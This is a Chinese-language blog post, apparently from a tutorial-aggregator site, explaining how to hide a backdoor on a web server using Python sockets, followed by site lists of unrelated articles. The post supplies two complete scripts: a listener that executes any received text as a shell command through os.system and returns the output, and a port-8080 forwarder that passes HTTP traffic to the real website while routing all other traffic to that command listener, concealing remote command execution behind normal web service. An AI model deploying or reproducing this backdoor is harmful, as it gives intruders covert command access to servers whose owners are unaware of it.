python基于socket进行端口转发实现后门隐藏的示例


Posted in Python onJuly 25, 2019

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
用python实现的可以拷贝或剪切一个文件列表中的所有文件
Apr 30 Python
Python通过future处理并发问题
Oct 17 Python
python生成excel的实例代码
Nov 08 Python
matplotlib 纵坐标轴显示数据值的实例
May 25 Python
Python3使用turtle绘制超立方体图形示例
Jun 19 Python
pycharm 实现显示project 选项卡的方法
Jan 17 Python
Python函数的参数常见分类与用法实例详解
Mar 30 Python
python爬虫刷访问量 2019 7月
Aug 01 Python
python实现对图片进行旋转,放缩,裁剪的功能
Aug 07 Python
pytorch如何冻结某层参数的实现
Jan 10 Python
python获取栅格点和面值的实现
Mar 10 Python
python判断正负数方式
Jun 03 Python
Django实现跨域请求过程详解
Jul 25 #Python
Django Rest framework认证组件详细用法
Jul 25 #Python
Django Rest framework权限的详细用法
Jul 25 #Python
Django Rest framework解析器和渲染器详解
Jul 25 #Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 #Python
Django MEDIA的配置及用法详解
Jul 25 #Python
Django打印出在数据库中执行的语句问题
Jul 25 #Python
You might like
PHP得到mssql的存储过程的输出参数功能实现
2012/11/23 PHP
浅析PHP关键词替换的类(避免重复替换,保留与还原原始链接)
2015/09/22 PHP
详解PHP多个进程配合redis的有序集合实现大文件去重
2019/03/06 PHP
经常用的图片在容器中的水平垂直居中实例
2007/06/10 Javascript
jQuery 源码分析笔记(6) jQuery.data
2011/06/08 Javascript
JQuery的read函数与js的onload不同方式实现
2013/03/18 Javascript
js动态给table添加/删除tr的方法
2013/08/02 Javascript
js获取指定日期前后的日期代码
2013/08/20 Javascript
js 高效去除数组重复元素示例代码
2013/12/19 Javascript
JavaScript设计模式之原型模式(Object.create与prototype)介绍
2014/12/28 Javascript
JS去除iframe滚动条的方法
2015/04/01 Javascript
jQuery禁用键盘后退屏蔽F5刷新及禁用右键单击
2016/01/22 Javascript
微信公众号菜单配置微信小程序实例详解
2017/03/31 Javascript
JavaScript方法_动力节点Java学院整理
2017/06/28 Javascript
Vue.js实现的表格增加删除demo示例
2018/05/22 Javascript
浅谈手写node可读流之流动模式
2018/06/01 Javascript
详解React之父子组件传递和其它一些要点
2018/06/25 Javascript
elementUI Vue 单个按钮显示和隐藏的变换功能(两种方法)
2018/09/04 Javascript
Vue自定义指令写法与个人理解
2019/02/09 Javascript
vue如何截取字符串
2019/05/06 Javascript
Vue.js实现备忘录功能
2019/06/26 Javascript
用VsCode编辑TypeScript的实现方法
2020/05/07 Javascript
解决已经安装requests,却依然提示No module named requests问题
2018/05/18 Python
在python中bool函数的取值方法
2018/11/01 Python
Python 正则表达式匹配字符串中的http链接方法
2018/12/25 Python
python 接口实现 供第三方调用的例子
2019/08/13 Python
python jenkins 打包构建代码的示例代码
2019/11/29 Python
Python3之乱码\xe6\x97\xa0\xe6\xb3\x95处理方式
2020/05/11 Python
Pytorch 高效使用GPU的操作
2020/06/27 Python
Python自动化xpath实现自动抢票抢货
2020/09/19 Python
CSS3实例分享--超炫checkbox复选框和radio单选框
2014/09/01 HTML / CSS
优秀女职工事迹材料
2014/02/06 职场文书
国际贸易毕业生求职信范文
2014/02/21 职场文书
老人祝寿主持词
2014/03/28 职场文书
维修工先进事迹
2014/05/29 职场文书
如何签定毕业生就业协议书
2014/09/28 职场文书